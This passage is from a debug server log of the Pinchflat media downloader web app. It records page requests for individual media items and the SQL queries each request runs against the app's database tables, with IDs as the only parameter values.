t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90] 22:20:36.914 [debug] QUERY OK source="sources" db=0.3ms idle=511.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:36.915 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=511.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [89] 22:20:36.915 [debug] QUERY OK source="settings" db=0.1ms idle=186.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.916 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.916 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.917 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:36.920 [info] Sent 200 in 7ms 22:20:37.434 [info] GET /sources/2/media/78 22:20:37.434 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "78", "source_id" => "2"} Pipelines: [:browser] 22:20:37.435 [debug] QUERY OK source="media_items" db=0.3ms idle=519.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [78] 22:20:37.436 [debug] QUERY OK source="tasks" db=0.3ms idle=520.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [78] 22:20:37.436 [debug] QUERY OK source="sources" db=0.4ms idle=519.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:37.437 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=520.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [83] 22:20:37.437 [debug] QUERY OK source="settings" db=0.2ms idle=519.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:37.438 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:37.438 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:37.439 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:37.442 [info] Sent 200 in 7ms 22:20:37.931 [info] GET /sources/1/media/58 22:20:37.931 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "58", "source_id" => "1"} Pipelines: [:browser] 22:20:37.932 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=493.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [58] 22:20:37.933 [debug] QUERY OK source="tasks" db=0.3ms idle=494.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [58] 22:20:37.933 [debug] QUERY OK source="sources" db=0.5ms idle=494.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:37.934 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=494.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [61] 22:20:37.934 [debug] QUERY OK source="settings" db=0.1ms idle=204.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:37.935 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:37.936 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:37.937 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:37.943 [info] Sent 200 in 12ms 22:20:38.455 [info] GET /sources/1/media/95 22:20:38.455 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "95", "source_id" => "1"} Pipelines: [:browser] 22:20:38.456 [debug] QUERY OK source="media_items" db=0.3ms idle=521.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [95] 22:20:38.457 [debug] QUERY OK source="tasks" db=0.3ms idle=521.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [95] 22:20:38.457 [debug] QUERY OK source="sources" db=0.4ms idle=521.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:38.458 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=521.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [94] 22:20:38.458 [debug] QUERY OK source="settings" db=0.2ms idle=521.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:38.459 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:38.460 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:38.461 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:38.463 [info] Sent 200 in 8ms 22:20:38.991 [info] GET /sources/1/media/69 22:20:38.991 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "69", "source_id" => "1"} Pipelines: [:browser] 22:20:38.992 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=533.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [69] 22:20:38.993 [debug] QUERY OK source="tasks" db=0.3ms idle=533.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [69] 22:20:38.993 [debug] QUERY OK source="sources" db=0.4ms idle=533.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:38.994 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=533.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [74] 22:20:38.995 [debug] QUERY OK source="settings" db=0.2ms idle=261.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:38.995 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:38.996 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:38.997 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:39.001 [info] Sent 200 in 10ms 22:20:39.529 [info] GET /sources/1/media/51 22:20:39.529 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "51", "source_id" => "1"} Pipelines: [:browser] 22:20:39.530 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=535.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:20:39.531 [debug] QUERY OK source="tasks" db=0.3ms idle=535.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [51] 22:20:39.531 [debug] QUERY OK source="sources" db=0.4ms idle=535.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:39.532 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=535.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [54] 22:20:39.532 [debug] QUERY OK source="settings" db=0.2ms idle=535.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:39.533 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:39.534 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:39.535 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:39.540 [info] Sent 200 in 10ms 22:20:40.045 [info] GET /sources/1/media/36 22:20:40.046 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "36", "source_id" => "1"} Pipelines: [:browser] 22:20:40.047 [debug] QUERY OK source="media_items" db=0.3ms idle=513.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [36] 22:20:40.048 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=514.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [36] 22:20:40.048 [debug] QUERY OK source="sources" db=0.5ms idle=513.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:40.049 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=513.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [39] 22:20:40.049 [debug] QUERY OK source="settings" db=0.2ms idle=314.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.050 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.050 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:40.051 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:40.057 [info] Sent 200 in 11ms 22:20:40.604 [info] GET /sources/1/media/99 22:20:40.604 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "99", "source_id" => "1"} Pipelines: [:browser] 22:20:40.605 [debug] QUERY OK source="media_items" db=0.4ms idle=555.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99] 22:20:40.606 [debug] QUERY OK source="sources" db=0.3ms idle=555.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:40.606 [debug] QUERY OK source="tasks" db=0.5ms idle=556.1ms SELECT t0."id", 